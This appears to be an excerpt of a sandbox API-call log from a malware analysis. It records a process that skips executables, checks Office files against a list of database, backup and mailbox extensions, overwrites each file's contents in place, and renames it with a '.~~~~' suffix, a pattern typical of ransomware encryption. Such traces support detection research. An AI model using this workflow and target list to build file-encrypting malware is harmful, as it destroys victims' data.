	[0134.105] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0134.113] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.113] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.114] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.119] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.119] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.119] CloseHandle (hObject=0xc4) returned 1
	[0134.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c48c8
	[0134.193] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.dll.~~~~")) returned 1
	[0134.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c48c8 | out: hHeap=0x300000) returned 1
	[0134.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0134.256] GetLastError () returned 0x0
	[0134.257] GetCurrentThreadId () returned 0xaf0
	[0134.257] GetCurrentThreadId () returned 0xaf0
	[0134.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x3a1258
	[0134.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a0bf8 | out: hHeap=0x300000) returned 1
	[0134.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824de0 | out: hHeap=0x300000) returned 1
	[0134.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x3a0bf8
	[0134.257] lstrlenW (lpString=".scr") returned 4
	[0134.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".scr") returned 0x0
	[0134.257] lstrlenW (lpString=".cmd") returned 4
	[0134.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".cmd") returned 0x0
	[0134.257] lstrlenW (lpString=".dll") returned 4
	[0134.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".dll") returned 0x0
	[0134.257] lstrlenW (lpString=".bat") returned 4
	[0134.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".bat") returned 0x0
	[0134.257] lstrlenW (lpString=".cpl") returned 4
	[0134.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".cpl") returned 0x0
	[0134.257] lstrlenW (lpString=".sys") returned 4
	[0134.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".sys") returned 0x0
	[0134.258] lstrlenW (lpString=".msc") returned 4
	[0134.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".msc") returned 0x0
	[0134.258] lstrlenW (lpString=".com") returned 4
	[0134.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".com") returned 0x0
	[0134.258] lstrlenW (lpString=".lnk") returned 4
	[0134.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".lnk") returned 0x0
	[0134.258] lstrlenW (lpString=".msp") returned 4
	[0134.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".msp") returned 0x0
	[0134.258] lstrlenW (lpString=".pif") returned 4
	[0134.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".pif") returned 0x0
	[0134.258] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch="msp\r\n.pif") returned 0x0
	[0134.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0134.260] lstrlenW (lpString=".sqb") returned 4
	[0134.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".sqb") returned 0x0
	[0134.260] lstrlenW (lpString=".ost") returned 4
	[0134.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".ost") returned 0x0
	[0134.260] lstrlenW (lpString=".txt") returned 4
	[0134.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".txt") returned 0x0
	[0134.260] lstrlenW (lpString=".mdt") returned 4
	[0134.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".mdt") returned 0x0
	[0134.260] lstrlenW (lpString=".BDB") returned 4
	[0134.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".BDB") returned 0x0
	[0134.260] lstrlenW (lpString=".eql") returned 4
	[0134.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".eql") returned 0x0
	[0134.260] lstrlenW (lpString=".DBF") returned 4
	[0134.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".DBF") returned 0x0
	[0134.260] lstrlenW (lpString=".EQL") returned 4
	[0134.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".EQL") returned 0x0
	[0134.261] lstrlenW (lpString=".FDB") returned 4
	[0134.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".FDB") returned 0x0
	[0134.261] lstrlenW (lpString=".EDB") returned 4
	[0134.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".EDB") returned 0x0
	[0134.261] lstrlenW (lpString=".DACPAC") returned 7
	[0134.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".DACPAC") returned 0x0
	[0134.261] lstrlenW (lpString=".VHD") returned 4
	[0134.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".VHD") returned 0x0
	[0134.261] lstrlenW (lpString=".DBV") returned 4
	[0134.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".DBV") returned 0x0
	[0134.261] lstrlenW (lpString=".dacpac") returned 7
	[0134.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".dacpac") returned 0x0
	[0134.261] lstrlenW (lpString=".sdf") returned 4
	[0134.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".sdf") returned 0x0
	[0134.261] lstrlenW (lpString=".accdb") returned 6
	[0134.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".accdb") returned 0x0
	[0134.261] lstrlenW (lpString=".DBX") returned 4
	[0134.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".DBX") returned 0x0
	[0134.261] lstrlenW (lpString=".MDT") returned 4
	[0134.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".MDT") returned 0x0
	[0134.261] lstrlenW (lpString=".SQB") returned 4
	[0134.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".SQB") returned 0x0
	[0134.261] lstrlenW (lpString=".vhd") returned 4
	[0134.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".vhd") returned 0x0
	[0134.261] lstrlenW (lpString=".bac") returned 4
	[0134.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".bac") returned 0x0
	[0134.262] lstrlenW (lpString=".mdf") returned 4
	[0134.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".mdf") returned 0x0
	[0134.262] lstrlenW (lpString=".BAK") returned 4
	[0134.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".BAK") returned 0x0
	[0134.262] lstrlenW (lpString=".BAC") returned 4
	[0134.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".BAC") returned 0x0
	[0134.262] lstrlenW (lpString=".dbs") returned 4
	[0134.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".dbs") returned 0x0
	[0134.262] lstrlenW (lpString=".vhdx") returned 5
	[0134.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".vhdx") returned 0x0
	[0134.262] lstrlenW (lpString=".NDF") returned 4
	[0134.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".NDF") returned 0x0
	[0134.262] lstrlenW (lpString=".dat") returned 4
	[0134.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".dat") returned 0x0
	[0134.262] lstrlenW (lpString=".DBS") returned 4
	[0134.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".DBS") returned 0x0
	[0134.262] lstrlenW (lpString=".CKP") returned 4
	[0134.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".CKP") returned 0x0
	[0134.262] lstrlenW (lpString=".edb") returned 4
	[0134.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".edb") returned 0x0
	[0134.262] lstrlenW (lpString=".PST") returned 4
	[0134.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".PST") returned 0x0
	[0134.263] lstrlenW (lpString=".dbf") returned 4
	[0134.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".dbf") returned 0x0
	[0134.263] lstrlenW (lpString=".SQL") returned 4
	[0134.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".SQL") returned 0x0
	[0134.263] lstrlenW (lpString=".pst") returned 4
	[0134.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".pst") returned 0x0
	[0134.263] lstrlenW (lpString=".dbv") returned 4
	[0134.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".dbv") returned 0x0
	[0134.263] lstrlenW (lpString=".SDF") returned 4
	[0134.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".SDF") returned 0x0
	[0134.263] lstrlenW (lpString=".dtxs") returned 5
	[0134.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".dtxs") returned 0x0
	[0134.263] lstrlenW (lpString=".db3") returned 4
	[0134.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".db3") returned 0x0
	[0134.263] lstrlenW (lpString=".OST") returned 4
	[0134.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".OST") returned 0x0
	[0134.263] lstrlenW (lpString=".dbx") returned 4
	[0134.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".dbx") returned 0x0
	[0134.263] lstrlenW (lpString=".DB3") returned 4
	[0134.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".DB3") returned 0x0
	[0134.263] lstrlenW (lpString=".DAT") returned 4
	[0134.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".DAT") returned 0x0
	[0134.263] lstrlenW (lpString=".VHDX") returned 5
	[0134.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".VHDX") returned 0x0
	[0134.263] lstrlenW (lpString=".ndf") returned 4
	[0134.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".ndf") returned 0x0
	[0134.264] lstrlenW (lpString=".DB") returned 3
	[0134.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".DB") returned 0x0
	[0134.264] lstrlenW (lpString=".sql") returned 4
	[0134.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".sql") returned 0x0
	[0134.264] lstrlenW (lpString=".MYD") returned 4
	[0134.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".MYD") returned 0x0
	[0134.264] lstrlenW (lpString=".DBT") returned 4
	[0134.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".DBT") returned 0x0
	[0134.264] lstrlenW (lpString=".ACCDB") returned 6
	[0134.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".ACCDB") returned 0x0
	[0134.264] lstrlenW (lpString=".fdb") returned 4
	[0134.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".fdb") returned 0x0
	[0134.264] lstrlenW (lpString=".bak") returned 4
	[0134.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".bak") returned 0x0
	[0134.264] lstrlenW (lpString=".myd") returned 4
	[0134.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".myd") returned 0x0
	[0134.264] lstrlenW (lpString=".DTXS") returned 5
	[0134.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".DTXS") returned 0x0
	[0134.264] lstrlenW (lpString=".ckp") returned 4
	[0134.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".ckp") returned 0x0
	[0134.264] lstrlenW (lpString=".dbt") returned 4
	[0134.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".dbt") returned 0x0
	[0134.264] lstrlenW (lpString=".db") returned 3
	[0134.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".db") returned 0x0
	[0134.265] lstrlenW (lpString=".TXT") returned 4
	[0134.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".TXT") returned 0x0
	[0134.265] lstrlenW (lpString=".MDF") returned 4
	[0134.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".MDF") returned 0x0
	[0134.265] lstrlenW (lpString=".bdb") returned 4
	[0134.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".bdb") returned 0x0
	[0134.265] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0134.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.265] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0e18) returned 1
	[0134.266] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.266] CryptReleaseContext (hProv=0x3a0e18, dwFlags=0x0) returned 1
	[0134.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0134.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0134.266] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25425661133) returned 1
	[0134.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb9793b10, dwHighDateTime=0x1d60e1e)) 
	[0134.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0134.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0134.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0134.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824de0
	[0134.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824de0 | out: hHeap=0x300000) returned 1
	[0134.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c48c8
	[0134.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.267] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0134.268] GetLastError () returned 0x0
	[0134.268] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0134.268] GetLastError () returned 0x0
	[0134.268] ReadFile (in: hFile=0x140, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x1f8fec0*=0x9382, lpOverlapped=0x0) returned 1
	[0134.271] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff6c7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.271] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x9382, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x9382, lpOverlapped=0x0) returned 1
	[0134.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0134.271] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.272] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.272] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.272] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.272] CloseHandle (hObject=0x140) returned 1
	[0134.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c48c8
	[0134.272] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSO.ACL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mso.acl.~~~~")) returned 1
	[0134.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c48c8 | out: hHeap=0x300000) returned 1
	[0134.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0134.275] GetLastError () returned 0x0
	[0134.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".scr") returned 0x0
	[0134.275] lstrlenW (lpString=".cmd") returned 4
	[0134.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".cmd") returned 0x0
	[0134.275] lstrlenW (lpString=".dll") returned 4
	[0134.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".dll") returned 0x0
	[0134.275] lstrlenW (lpString=".bat") returned 4
	[0134.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".bat") returned 0x0
	[0134.275] lstrlenW (lpString=".cpl") returned 4
	[0134.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".cpl") returned 0x0
	[0134.275] lstrlenW (lpString=".sys") returned 4
	[0134.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".sys") returned 0x0
	[0134.275] lstrlenW (lpString=".msc") returned 4
	[0134.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".msc") returned 0x0
	[0134.276] lstrlenW (lpString=".com") returned 4
	[0134.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".com") returned 0x0
	[0134.276] lstrlenW (lpString=".lnk") returned 4
	[0134.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".lnk") returned 0x0
	[0134.276] lstrlenW (lpString=".msp") returned 4
	[0134.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".msp") returned 0x0
	[0134.276] lstrlenW (lpString=".pif") returned 4
	[0134.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".pif") returned 0x0
	[0134.276] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0134.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0134.278] lstrlenW (lpString=".sqb") returned 4
	[0134.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".sqb") returned 0x0
	[0134.279] lstrlenW (lpString=".ost") returned 4
	[0134.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".ost") returned 0x0
	[0134.279] lstrlenW (lpString=".txt") returned 4
	[0134.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS", lpSrch=".txt") returned 0x0
	[0134.279] lstrlenW (lpString=".mdt") returned 4
